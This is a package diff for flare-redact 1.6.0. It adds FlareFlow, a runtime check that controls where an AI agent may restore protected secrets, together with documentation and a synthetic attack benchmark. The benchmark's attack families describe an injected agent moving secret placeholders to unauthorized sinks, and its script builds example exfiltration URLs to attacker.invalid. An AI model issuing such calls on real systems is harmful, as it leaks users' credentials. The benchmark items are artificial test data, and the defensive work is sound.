flare-redact 1.5.0 → 1.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -1,5 +1,92 @@
1
1
  # Changelog
2
2
 
3
+ ## 1.6.0 — 2026-08-09
4
+
5
+ ### FlareFlow: deterministic information-flow control for agents
6
+
7
+ - Add `flare-redact/agent` with `createAgentFlow()`, a model-independent
8
+ declassification boundary for tool-using agents. Every protected value keeps
9
+ runtime provenance — source and detector — and is restored only when an
10
+ operator capability also matches the runtime-resolved sink and exact JSON
11
+ Pointer destination.
12
+ - Add cumulative per-capability use limits and sink-wide use, unique-value, and
13
+ UTF-8 byte budgets across model turns. Authorization preflights the complete
14
+ call: one forged, expired, foreign-flow, key-position, wrong-source,
15
+ wrong-detector, wrong-sink, wrong-path, or over-budget occurrence blocks the
16
+ whole call without partial restoration or budget consumption.
17
+ - Use opaque 128-bit Web Crypto tokens, bounded TTL mappings and audit history,
18
+ transactional protection and revocation, non-reentrant audit delivery,
19
+ trusted final-app restoration, and value-free decisions and snapshots.
20
+ Cycles, shared references, maps, sets, errors, URLs, symbols, sparse arrays,
21
+ and descriptors follow the core graph safety contract.
22
+ - Publish the normative [FlareFlow 1 specification](spec/FLAREFLOW.md), including
23
+ the threat model, state machine, capability syntax, atomicity rules, security
24
+ invariant, resource bounds, and explicit limitations.
25
+
26
+ ### One policy from every runtime
27
+
28
+ - Add operator-controlled `/v1/flows` endpoints to the sidecar for protect,
29
+ inspect, authorize, trusted restore, snapshot, and deletion. Clients cannot
30
+ supply or widen flow policy; invalid policies fail gateway startup.
31
+ - Add TTL- and count-bounded in-memory flow storage, a Prometheus active-flow
32
+ gauge, value-free debug events, safe HTTP 403 decisions, health status, and
33
+ complete gateway tests for enabled, denied, disabled, and invalid-policy paths.
34
+ - Add `RemoteAgentFlow` to the standard-library Python client and
35
+ `RemoteAgentFlow` / `OpenAgentFlow` to the standard-library Go client,
36
+ including safe structured denial details.
37
+
38
+ ### Reproducible evaluation and documentation
39
+
40
+ - Add a deterministic benchmark with 700 exact-token attack trials across seven
41
+ policy-violation families and 300 utility trials, comparing a shared vault, a
42
+ tool-scoped vault, and FlareFlow. The benchmark scope explicitly excludes
43
+ general prompt injection and semantic leakage claims.
44
+ - Add a no-network runnable agent example, CI coverage for the benchmark and
45
+ example, complete README and gateway integration guidance, and a research
46
+ preprint with a reproducible evaluation protocol.
47
+
48
+ No existing API changed behavior. FlareFlow is opt-in, and the gateway endpoints
49
+ remain disabled until an operator supplies and enables a policy.
50
+
51
+ ## 1.5.1 — 2026-08-06
52
+
53
+ ### Actually zero dependencies
54
+
55
+ - Remove the `undici-types` runtime dependency. Nothing imported it, but npm
56
+ installed it with every copy of this package, which made "zero-dependency" a
57
+ claim rather than a fact. `npm install flare-redact` now adds exactly one
58
+ package. TypeScript consumers are unaffected: the type it existed to satisfy
59
+ comes from their own `@types/node`.
60
+
61
+ ### A CLI that explains itself
62
+
63
+ - Add `flare-redact help [topic]`. A flag list tells you a flag exists and
64
+ nothing about when to reach for it, so ten topics — `detectors`, `modes`,
65
+ `vault`, `scan`, `files`, `gateway`, `library`, `sdks`, `env` and
66
+ `exit-codes` — answer the question behind the flag.
67
+ - Any detector id is also a topic: `flare-redact help email` explains what that
68
+ detector finds, whether it runs by default, its tags, and how to select or
69
+ drop it.
70
+ - A name that matches nothing suggests the nearest one and lists the index,
71
+ rather than failing with nothing to go on. Unresolved help goes to stderr and
72
+ exits 2, so it never pollutes a piped report.
73
+ - `flare-gateway help` and `flare-redact gateway help` now work alongside
74
+ `--help`, and an unknown flag on either CLI points at the help.
75
+
76
+ ### Documentation corrections
77
+
78
+ - The Python and Rust engines are not published to PyPI and crates.io. The
79
+ README, both SDK READMEs and `help sdks` gave registry commands that do not
80
+ work; they now give the repository installs that do, and say why. The Go
81
+ module was and remains installable with `go get`.
82
+ - The README badge claimed 56 detectors; there are 82.
83
+ - The CI example and the docs site still pinned `1.4.1`, and the playground
84
+ bundle was still the 1.4.x build. All three now track the current release.
85
+ - README documents the new `help` command and states plainly that installing
86
+ from npm brings the JavaScript engine only — no Python, Go or Rust code.
87
+
88
+ No runtime API changed behaviour.
89
+
3
90
  ## 1.5.0 — 2026-08-06
4
91
 
5
92
  The two things that kept this library out of most estates: it only spoke
package/README.md CHANGED
@@ -15,7 +15,7 @@
15
15
  <img src="https://img.shields.io/npm/types/flare-redact.svg" alt="TypeScript">
16
16
  <img src="https://img.shields.io/badge/dependencies-0-brightgreen" alt="Zero dependencies">
17
17
  <img src="https://img.shields.io/badge/languages-24-4f46e5" alt="24 languages">
18
- <img src="https://img.shields.io/badge/detectors-56-4f46e5" alt="56 detectors">
18
+ <img src="https://img.shields.io/badge/detectors-82-4f46e5" alt="82 detectors">
19
19
  <img src="https://img.shields.io/badge/runtime-node%20%7C%20browser%20%7C%20edge-blue" alt="Runtimes">
20
20
  </p>
21
21
 
@@ -63,7 +63,7 @@ Nothing to configure. No list of field paths to maintain. No native build step.
63
63
  | | | |
64
64
  |---|---|---|
65
65
  | 🔍 **Context-aware** — spans carry risk and confidence | 🔐 **Secure vaults** — opaque tokens, optional AES-GCM persistence | 🎭 **Useful test data** — keyed pseudonyms and typed surrogates |
66
- | 🤖 **Scoped LLM + tool boundaries** — stops cross-tool placeholder restore | 🔌 **Universal middleware** — wrap any SDK, handler, queue, or RPC function | 🪶 **Zero runtime dependencies** — Node, browser, and edge |
66
+ | 🔥 **FlareFlow agent IFC** — source→sink capabilities, exact paths, cumulative budgets | 🔌 **Universal middleware** — wrap any SDK, handler, queue, or RPC function | 🪶 **Zero runtime dependencies** — Node, browser, and edge |
67
67
  | 🐍 **Python, Go, and Rust SDKs** — one spec, four engines, one conformance corpus | 🐳 **Sidecar gateway** — a Docker reverse proxy that needs no code change | 📜 **Detectors as data** — portable FRS-1 packs any engine can load |
68
68
 
69
69
  ## Contents
@@ -81,6 +81,7 @@ Nothing to configure. No list of field paths to maintain. No native build step.
81
81
  - [Contextual and model-assisted PII](#contextual-and-model-assisted-pii)
82
82
  - [Learned confidence, fewer false positives](#learned-confidence-fewer-false-positives)
83
83
  - [Build a private chat app](#build-a-private-chat-app)
84
+ - [Enforce information flow across agent tools](#enforce-information-flow-across-agent-tools)
84
85
  - [Protect tool calls and MCP loops](#protect-tool-calls-and-mcp-loops)
85
86
  - [Your own words](#your-own-words)
86
87
  - [See what leaks, and why](#see-what-leaks-and-why)
@@ -154,6 +155,7 @@ Clone the repository and run these small applications locally:
154
155
  | [`openai-privacy`](examples/openai-privacy) | The model sees an opaque placeholder while the app receives the restored value | `npm --prefix examples/openai-privacy start` |
155
156
  | [`express-pino`](examples/express-pino) | Express keeps the original request while Pino receives a safe snapshot | `npm --prefix examples/express-pino run smoke` |
156
157
  | [`universal-boundaries`](examples/universal-boundaries) | Any SDK method is sanitized and cross-tool placeholder exfiltration is blocked | `npm --prefix examples/universal-boundaries start` |
158
+ | [`flareflow-agent`](examples/flareflow-agent) | An injected model can carry an opaque secret token but cannot restore it at an unauthorized sink or path | `npm --prefix examples/flareflow-agent start` |
157
159
  | [`github-secret-scan`](examples/github-secret-scan) | Pull requests fail when tracked source or configuration files contain detected secrets or PII | Copy the workflow into your repository |
158
160
 
159
161
  Run `npm run build` and install an example's dependencies before its first run.
@@ -166,11 +168,18 @@ execute the same [FRS-1 detector specification](spec/SPEC.md) and are held to th
166
168
  same [conformance corpus](spec/conformance/), so a policy written once produces
167
169
  identical output in every one of them.
168
170
 
171
+ Each engine is its own package. Installing `flare-redact` from npm gives you the
172
+ JavaScript engine and nothing else — no Python, no Go, no Rust, and no
173
+ dependencies of any kind.
174
+
169
175
  | | Install | Docs |
170
176
  |---|---|---|
171
- | **Python** | `pip install flare-redact` | [`sdk/python`](sdk/python) |
172
177
  | **Go** | `go get github.com/flare-collection/flare-redact/sdk/go` | [`sdk/go`](sdk/go) |
173
- | **Rust** | `flare-redact = "1.5"` | [`sdk/rust`](sdk/rust) |
178
+ | **Python** | `pip install "flare-redact @ git+https://github.com/flare-collection/flare-redact@v1.6.0#subdirectory=sdk/python"` | [`sdk/python`](sdk/python) |
179
+ | **Rust** | `flare-redact = { git = "https://github.com/flare-collection/flare-redact", tag = "v1.6.0" }` | [`sdk/rust`](sdk/rust) |
180
+
181
+ The Python and Rust engines are not published to PyPI and crates.io yet, so they
182
+ install from this repository. The commands above are the ones that work today.
174
183
 
175
184
  ```python
176
185
  from flare_redact import create_session
@@ -554,6 +563,67 @@ process(out.flush());
554
563
  including nested tool calls, and `session.reset()` starts a fresh conversation.
555
564
  Detected original values stay local while your app keeps a reversible reference.
556
565
 
566
+ ## Enforce information flow across agent tools
567
+
568
+ Tool-scoped vaults stop one class of attack, but a production agent often needs
569
+ finer control: a database credential may be valid for `postgres.execute`, yet
570
+ only in `args.connectionString`, only when it came from configuration, and at
571
+ most once. **FlareFlow** makes that declassification policy executable outside
572
+ the model.
573
+
574
+ ```js
575
+ import { createAgentFlow } from 'flare-redact/agent';
576
+
577
+ const flow = createAgentFlow({
578
+ sinks: {
579
+ 'postgres.execute': {
580
+ capabilities: [{
581
+ id: 'database-credential',
582
+ sources: ['config'],
583
+ detectors: ['url_credentials'],
584
+ paths: ['/args/connectionString'],
585
+ maxUses: 1,
586
+ }],
587
+ budget: { maxUniqueValues: 1, maxBytes: 512 },
588
+ },
589
+ 'http.fetch': { capabilities: [] },
590
+ },
591
+ });
592
+
593
+ const safe = flow.protectForModel('config', {
594
+ connection: 'postgres://admin:password@db.internal/prod',
595
+ });
596
+ // The model sees [FR_FLOW_<128 random bits>]db.internal/prod, never credentials.
597
+
598
+ // Resolve names through your own registry. Never trust the model's label.
599
+ const tool = toolRegistry.resolve(modelCall.name);
600
+ const localCall = flow.authorizeForSink(tool.id, modelCall.arguments);
601
+ await tool.execute(localCall);
602
+ ```
603
+
604
+ Every token carries runtime provenance: source and detector. Authorization also
605
+ checks the resolved sink, its exact JSON Pointer path, per-capability use count,
606
+ and cumulative sink-wide use, unique-value, and UTF-8 byte budgets. One failed
607
+ occurrence blocks the whole call without restoring anything or consuming a
608
+ budget. Forged, expired, cross-flow, and object-key tokens fail closed.
609
+
610
+ `inspectForSink()` preflights without restoring, `snapshot()` returns bounded
611
+ value-free audit state, `revokeSource()` invalidates one source, and
612
+ `restoreForApp()` is reserved for the trusted final application boundary. The
613
+ implementation preserves cyclic/shared graphs, rejects same-flow re-entrancy
614
+ during audit delivery, and never asks the model whether the flow is safe.
615
+
616
+ Read the normative [FlareFlow 1 specification](spec/FLAREFLOW.md), run the
617
+ [reproducible 700-attack / 300-utility benchmark](bench/agent-flow-cases.json),
618
+ read the [technical preprint](paper/flareflow-preprint.md), or start the
619
+ [runnable example](examples/flareflow-agent). The benchmark tests exact
620
+ placeholder restoration; it is deliberately not presented as a general
621
+ prompt-injection benchmark.
622
+
623
+ The same operator-owned policy is available through the sidecar's `/v1/flows`
624
+ API, with standard-library clients for Python and Go. That makes FlareFlow usable
625
+ from any language that can send JSON over HTTP.
626
+
557
627
  ## Protect tool calls and MCP loops
558
628
 
559
629
  An agent loop has two directions: model-produced arguments need their local
@@ -778,7 +848,7 @@ machine-readable JSON and SARIF reports never echo the matched secret value:
778
848
  with:
779
849
  node-version: 24
780
850
  - name: Scan project text files
781
- run: npx --yes --package flare-redact@1.4.1 flare-redact --scan . --exclude package-lock.json
851
+ run: npx --yes --package flare-redact@1.6.0 flare-redact --scan . --exclude package-lock.json
782
852
  ```
783
853
 
784
854
  The scan runs on the GitHub runner, reports safe file and source locations, and
@@ -819,6 +889,24 @@ flare-redact --list # show every detector
819
889
  flare-redact gateway --upstream https://api.openai.com # run the sidecar proxy
820
890
  ```
821
891
 
892
+ ### Ask it
893
+
894
+ A flag list tells you a flag exists and nothing about when to reach for it, so
895
+ the CLI explains itself:
896
+
897
+ ```bash
898
+ flare-redact help # the summary
899
+ flare-redact help topics # everything it can explain
900
+ flare-redact help modes # one topic, in depth
901
+ flare-redact help email # one detector: what it finds, and why
902
+ flare-redact gateway help # the sidecar's own flags
903
+ ```
904
+
905
+ The topics are `detectors`, `modes`, `vault`, `scan`, `files`, `gateway`,
906
+ `library`, `sdks`, `env` and `exit-codes`. Any detector id works as a topic too,
907
+ and a name that matches nothing suggests the nearest one rather than just
908
+ failing.
909
+
822
910
  ## What it catches
823
911
 
824
912
  On by default:
@@ -979,6 +1067,13 @@ createScopedToolBoundary(opts?) // scope-safe model ↔ tool/MCP
979
1067
  createToolBoundary(opts?) // legacy single-trust-domain boundary
980
1068
  redactToolCall / redactToolResult / redactMcpMessage
981
1069
 
1070
+ // from 'flare-redact/agent'
1071
+ createAgentFlow({ policy?, sinks, limits? }) // provenance + path + budget enforcement
1072
+ flow.protectForModel(source, value)
1073
+ flow.inspectForSink(sink, call) // no restoration or budget consumption
1074
+ flow.authorizeForSink(sink, call) // atomic restore or AgentFlowBlockedError
1075
+ flow.restoreForApp(value) / revokeSource(source) / snapshot() / reset()
1076
+
982
1077
  // from 'flare-redact/stream'
983
1078
  redactStream(opts?): Transform // chunk-safe + bounded multiline PEM redaction
984
1079
 
@@ -1025,6 +1120,10 @@ npm run benchmark:adversarial
1025
1120
  forward restored model output to another untrusted sink automatically.
1026
1121
  - A model-produced tool name is untrusted input. Resolve it to a runtime-owned
1027
1122
  tool/trust-domain scope before calling `restoreForTool()`.
1123
+ - FlareFlow policy, source ids, and sink ids are runtime-owned. A model may carry
1124
+ a token but must never choose the identity or capability used to restore it.
1125
+ - FlareFlow controls exact placeholder declassification. It is not a general
1126
+ prompt-injection defense and cannot protect data already shown to the model.
1028
1127
  - The legacy `createToolBoundary()` restores every placeholder in its shared
1029
1128
  vault. Use `createScopedToolBoundary()` whenever more than one tool or trust
1030
1129
  domain can receive model-produced arguments.
@@ -0,0 +1,59 @@
1
+ {
2
+ "schema": "flareflow-benchmark-v1",
3
+ "description": "Deterministic synthetic evaluation of placeholder-transplant and cumulative-restoration attacks under the FlareFlow threat model.",
4
+ "scope": "This corpus measures exact protected-value restoration at runtime-owned tool boundaries. It is not a general prompt-injection benchmark and does not measure semantic leakage of data already shown to a model.",
5
+ "attackFamilies": [
6
+ {
7
+ "id": "cross_sink",
8
+ "cases": 100,
9
+ "description": "Move a database placeholder into an outbound HTTP sink."
10
+ },
11
+ {
12
+ "id": "same_sink_wrong_path",
13
+ "cases": 100,
14
+ "description": "Use the correct database sink but move the placeholder from connectionString to callbackUrl."
15
+ },
16
+ {
17
+ "id": "source_mismatch",
18
+ "cases": 100,
19
+ "description": "Move a value protected from an unapproved source into an otherwise approved sink path."
20
+ },
21
+ {
22
+ "id": "detector_mismatch",
23
+ "cases": 100,
24
+ "description": "Move a sensitive-key placeholder through a capability that permits only the benchmark detector."
25
+ },
26
+ {
27
+ "id": "foreign_session_replay",
28
+ "cases": 100,
29
+ "description": "Replay a well-formed placeholder minted by another flow instance."
30
+ },
31
+ {
32
+ "id": "cumulative_budget",
33
+ "cases": 100,
34
+ "description": "Repeat an otherwise authorized restoration after its one-use capability budget is exhausted."
35
+ },
36
+ {
37
+ "id": "key_position",
38
+ "cases": 100,
39
+ "description": "Move a protected value into an object-key position, which is never declassified."
40
+ }
41
+ ],
42
+ "utilityFamilies": [
43
+ {
44
+ "id": "exact_authorized_path",
45
+ "cases": 100,
46
+ "description": "Restore the approved source and detector at the exact connectionString path."
47
+ },
48
+ {
49
+ "id": "recursive_authorized_path",
50
+ "cases": 100,
51
+ "description": "Restore an approved value below a terminal recursive path capability."
52
+ },
53
+ {
54
+ "id": "token_free_call",
55
+ "cases": 100,
56
+ "description": "Pass a call with no FlareFlow placeholder through unchanged."
57
+ }
58
+ ]
59
+ }
@@ -0,0 +1,288 @@
1
+ import { readFile } from 'node:fs/promises';
2
+ import { performance } from 'node:perf_hooks';
3
+
4
+ import { createAgentFlow, AgentFlowBlockedError } from '../dist/agent.js';
5
+ import { createScopedToolBoundary, createToolBoundary } from '../dist/tool.js';
6
+
7
+ const definitions = JSON.parse(await readFile(new URL('./agent-flow-cases.json', import.meta.url), 'utf8'));
8
+ const json = process.argv.includes('--json');
9
+ const iterationsArg = process.argv.find((argument) => argument.startsWith('--iterations='));
10
+ const performanceIterations = iterationsArg ? Number(iterationsArg.split('=')[1]) : 20_000;
11
+ const samplesArg = process.argv.find((argument) => argument.startsWith('--samples='));
12
+ const performanceSamples = samplesArg ? Number(samplesArg.split('=')[1]) : 5;
13
+
14
+ if (!Number.isSafeInteger(performanceIterations) || performanceIterations < 100 || performanceIterations > 1_000_000) {
15
+ throw new RangeError('--iterations must be an integer from 100 to 1,000,000.');
16
+ }
17
+ if (!Number.isSafeInteger(performanceSamples) || performanceSamples < 1 || performanceSamples > 25) {
18
+ throw new RangeError('--samples must be an integer from 1 to 25.');
19
+ }
20
+
21
+ const detector = {
22
+ id: 'bench_secret',
23
+ label: 'Synthetic benchmark secret',
24
+ why: 'Matches only the public synthetic FlareFlow benchmark corpus.',
25
+ pattern: /FRBENCH_SECRET_[0-9]{3}/g,
26
+ default: false,
27
+ risk: 'critical',
28
+ };
29
+
30
+ const policy = {
31
+ custom: [detector],
32
+ only: ['bench_secret'],
33
+ redactKeys: true,
34
+ };
35
+
36
+ function contains(value, expected) {
37
+ return JSON.stringify(value).includes(expected);
38
+ }
39
+
40
+ function secretAt(index) {
41
+ return `FRBENCH_SECRET_${String(index).padStart(3, '0')}`;
42
+ }
43
+
44
+ function configuredFlow({ recursive = false, maxUses } = {}) {
45
+ return createAgentFlow({
46
+ policy,
47
+ sinks: {
48
+ 'postgres.execute': {
49
+ capabilities: [{
50
+ id: 'database-connection',
51
+ sources: ['postgres'],
52
+ detectors: ['bench_secret'],
53
+ paths: [recursive ? '/args/**' : '/args/connectionString'],
54
+ ...(maxUses === undefined ? {} : { maxUses }),
55
+ }],
56
+ },
57
+ 'http.fetch': { capabilities: [] },
58
+ },
59
+ });
60
+ }
61
+
62
+ function capture(system, source, secret, detectorMismatch = false) {
63
+ const input = detectorMismatch ? { credential: secret } : secret;
64
+ if (system.kind === 'shared') {
65
+ const safe = system.boundary.redactForModel(input);
66
+ return detectorMismatch ? safe.credential : safe;
67
+ }
68
+ if (system.kind === 'scoped') {
69
+ const safe = system.boundary.redactForModel(source, input);
70
+ return detectorMismatch ? safe.credential : safe;
71
+ }
72
+ const safe = system.boundary.protectForModel(source, input);
73
+ return detectorMismatch ? safe.credential : safe;
74
+ }
75
+
76
+ function sinkScope(sink) {
77
+ return sink.startsWith('postgres.') ? 'postgres' : sink.startsWith('http.') ? 'http' : sink;
78
+ }
79
+
80
+ function execute(system, sink, call) {
81
+ try {
82
+ if (system.kind === 'shared') return { blocked: false, value: system.boundary.restoreForTool(call) };
83
+ if (system.kind === 'scoped') {
84
+ return { blocked: false, value: system.boundary.restoreForTool(sinkScope(sink), call) };
85
+ }
86
+ return { blocked: false, value: system.boundary.authorizeForSink(sink, call) };
87
+ } catch (error) {
88
+ if (system.kind === 'flow' && error instanceof AgentFlowBlockedError) {
89
+ return { blocked: true, value: call };
90
+ }
91
+ throw error;
92
+ }
93
+ }
94
+
95
+ function systems(flowOptions) {
96
+ return [
97
+ { id: 'shared_vault', kind: 'shared', boundary: createToolBoundary(policy) },
98
+ { id: 'scoped_vault', kind: 'scoped', boundary: createScopedToolBoundary(policy) },
99
+ { id: 'flareflow', kind: 'flow', boundary: configuredFlow(flowOptions) },
100
+ ];
101
+ }
102
+
103
+ function attackTrial(family, index) {
104
+ const secret = secretAt(index);
105
+ const outcomes = {};
106
+
107
+ for (const system of systems({ maxUses: family === 'cumulative_budget' ? 1 : undefined })) {
108
+ let token;
109
+ if (family === 'foreign_session_replay') {
110
+ const foreign = system.kind === 'shared'
111
+ ? { kind: 'shared', boundary: createToolBoundary(policy) }
112
+ : system.kind === 'scoped'
113
+ ? { kind: 'scoped', boundary: createScopedToolBoundary(policy) }
114
+ : { kind: 'flow', boundary: configuredFlow() };
115
+ token = capture(foreign, 'postgres', secret);
116
+ } else {
117
+ token = capture(system, family === 'source_mismatch' ? 'user' : 'postgres', secret, family === 'detector_mismatch');
118
+ }
119
+
120
+ let sink = 'postgres.execute';
121
+ let call = { args: { connectionString: token } };
122
+ if (family === 'cross_sink') {
123
+ sink = 'http.fetch';
124
+ const urls = [
125
+ `https://attacker.invalid/collect?value=${token}`,
126
+ `https://attacker.invalid/${token}/collect`,
127
+ `https://attacker.invalid/collect#${token}`,
128
+ `https://attacker.invalid/?left=x&right=${token}&tail=y`,
129
+ `https://attacker.invalid/collect?json=${encodeURIComponent(JSON.stringify({ value: token }))}`,
130
+ ];
131
+ call = { args: { url: urls[index % urls.length] } };
132
+ } else if (family === 'same_sink_wrong_path') {
133
+ const names = ['callbackUrl', 'telemetry', 'redirect', 'metadata', 'query'];
134
+ call = { args: { [names[index % names.length]]: `prefix:${token}:suffix` } };
135
+ } else if (family === 'key_position') {
136
+ call = index % 2 === 0
137
+ ? { args: { [token]: 'value' } }
138
+ : { args: { metadata: { [`prefix:${token}`]: 'value' } } };
139
+ } else if (family === 'cumulative_budget') {
140
+ execute(system, sink, call);
141
+ }
142
+
143
+ const result = execute(system, sink, call);
144
+ outcomes[system.id] = {
145
+ blocked: result.blocked,
146
+ exposed: contains(result.value, secret),
147
+ };
148
+ }
149
+ return outcomes;
150
+ }
151
+
152
+ function utilityTrial(family, index) {
153
+ const secret = secretAt(index);
154
+ const outcomes = {};
155
+ for (const system of systems({ recursive: family === 'recursive_authorized_path' })) {
156
+ if (family === 'token_free_call') {
157
+ const call = { args: { query: 'select 1' } };
158
+ const result = execute(system, 'postgres.execute', call);
159
+ outcomes[system.id] = { passed: !result.blocked && JSON.stringify(result.value) === JSON.stringify(call) };
160
+ continue;
161
+ }
162
+ const token = capture(system, 'postgres', secret);
163
+ let call = { args: { connectionString: token } };
164
+ if (family === 'recursive_authorized_path') {
165
+ let nested = { connectionString: token };
166
+ for (let depth = 0; depth < index % 5; depth++) nested = { nested };
167
+ call = { args: nested };
168
+ }
169
+ const result = execute(system, 'postgres.execute', call);
170
+ outcomes[system.id] = { passed: !result.blocked && contains(result.value, secret) };
171
+ }
172
+ return outcomes;
173
+ }
174
+
175
+ const ids = ['shared_vault', 'scoped_vault', 'flareflow'];
176
+ const summary = Object.fromEntries(ids.map((id) => [id, {
177
+ attackCases: 0,
178
+ attacksBlocked: 0,
179
+ secretExposures: 0,
180
+ harmlessPasses: 0,
181
+ utilityCases: 0,
182
+ utilityPassed: 0,
183
+ byFamily: {},
184
+ }]));
185
+
186
+ let sequence = 0;
187
+ for (const family of definitions.attackFamilies) {
188
+ for (let index = 0; index < family.cases; index++) {
189
+ const outcomes = attackTrial(family.id, sequence++ % 1_000);
190
+ for (const id of ids) {
191
+ const outcome = outcomes[id];
192
+ const target = summary[id];
193
+ target.attackCases++;
194
+ if (outcome.blocked) target.attacksBlocked++;
195
+ if (outcome.exposed) target.secretExposures++;
196
+ if (!outcome.blocked && !outcome.exposed) target.harmlessPasses++;
197
+ const perFamily = target.byFamily[family.id] ?? { cases: 0, blocked: 0, exposures: 0 };
198
+ perFamily.cases++;
199
+ if (outcome.blocked) perFamily.blocked++;
200
+ if (outcome.exposed) perFamily.exposures++;
201
+ target.byFamily[family.id] = perFamily;
202
+ }
203
+ }
204
+ }
205
+
206
+ for (const family of definitions.utilityFamilies) {
207
+ for (let index = 0; index < family.cases; index++) {
208
+ const outcomes = utilityTrial(family.id, sequence++ % 1_000);
209
+ for (const id of ids) {
210
+ const outcome = outcomes[id];
211
+ const target = summary[id];
212
+ target.utilityCases++;
213
+ if (outcome.passed) target.utilityPassed++;
214
+ const perFamily = target.byFamily[family.id] ?? { cases: 0, passed: 0 };
215
+ perFamily.cases++;
216
+ if (outcome.passed) perFamily.passed++;
217
+ target.byFamily[family.id] = perFamily;
218
+ }
219
+ }
220
+ }
221
+
222
+ function measure(label, operation) {
223
+ for (let index = 0; index < 1_000; index++) operation();
224
+ let checksum = 0;
225
+ const durations = [];
226
+ for (let sample = 0; sample < performanceSamples; sample++) {
227
+ const started = performance.now();
228
+ for (let index = 0; index < performanceIterations; index++) checksum += operation();
229
+ durations.push(performance.now() - started);
230
+ }
231
+ durations.sort((a, b) => a - b);
232
+ const durationMs = durations[Math.floor(durations.length / 2)];
233
+ return {
234
+ label,
235
+ iterations: performanceIterations,
236
+ samples: performanceSamples,
237
+ medianDurationMs: Number(durationMs.toFixed(3)),
238
+ minDurationMs: Number(durations[0].toFixed(3)),
239
+ maxDurationMs: Number(durations[durations.length - 1].toFixed(3)),
240
+ operationsPerSecond: Math.round(performanceIterations / (durationMs / 1_000)),
241
+ checksum,
242
+ };
243
+ }
244
+
245
+ const perfSecret = 'FRBENCH_SECRET_999';
246
+ const sharedPerf = createToolBoundary(policy);
247
+ const sharedToken = sharedPerf.redactForModel(perfSecret);
248
+ const scopedPerf = createScopedToolBoundary(policy);
249
+ const scopedToken = scopedPerf.redactForModel('postgres', perfSecret);
250
+ const flowPerf = configuredFlow();
251
+ const flowToken = flowPerf.protectForModel('postgres', perfSecret);
252
+ const performanceResults = [
253
+ measure('shared_vault_restore', () => sharedPerf.restoreForTool({ args: { connectionString: sharedToken } }).args.connectionString.length),
254
+ measure('scoped_vault_restore', () => scopedPerf.restoreForTool('postgres', { args: { connectionString: scopedToken } }).args.connectionString.length),
255
+ measure('flareflow_authorize', () => flowPerf.authorizeForSink('postgres.execute', { args: { connectionString: flowToken } }).args.connectionString.length),
256
+ ];
257
+
258
+ const report = {
259
+ schema: definitions.schema,
260
+ scope: definitions.scope,
261
+ runtime: {
262
+ node: process.version,
263
+ platform: process.platform,
264
+ arch: process.arch,
265
+ },
266
+ summary,
267
+ performance: performanceResults,
268
+ };
269
+
270
+ if (json) {
271
+ process.stdout.write(`${JSON.stringify(report, null, 2)}\n`);
272
+ } else {
273
+ console.log('FlareFlow adversarial and utility benchmark');
274
+ console.log(definitions.scope);
275
+ console.table(ids.map((id) => ({
276
+ system: id,
277
+ attacks: summary[id].attackCases,
278
+ blocked: summary[id].attacksBlocked,
279
+ exposures: summary[id].secretExposures,
280
+ harmless: summary[id].harmlessPasses,
281
+ utility: `${summary[id].utilityPassed}/${summary[id].utilityCases}`,
282
+ })));
283
+ console.table(performanceResults.map(({ label, operationsPerSecond, medianDurationMs }) => ({
284
+ operation: label,
285
+ 'ops/s': operationsPerSecond,
286
+ 'median duration ms': medianDurationMs,
287
+ })));
288
+ }
File without changes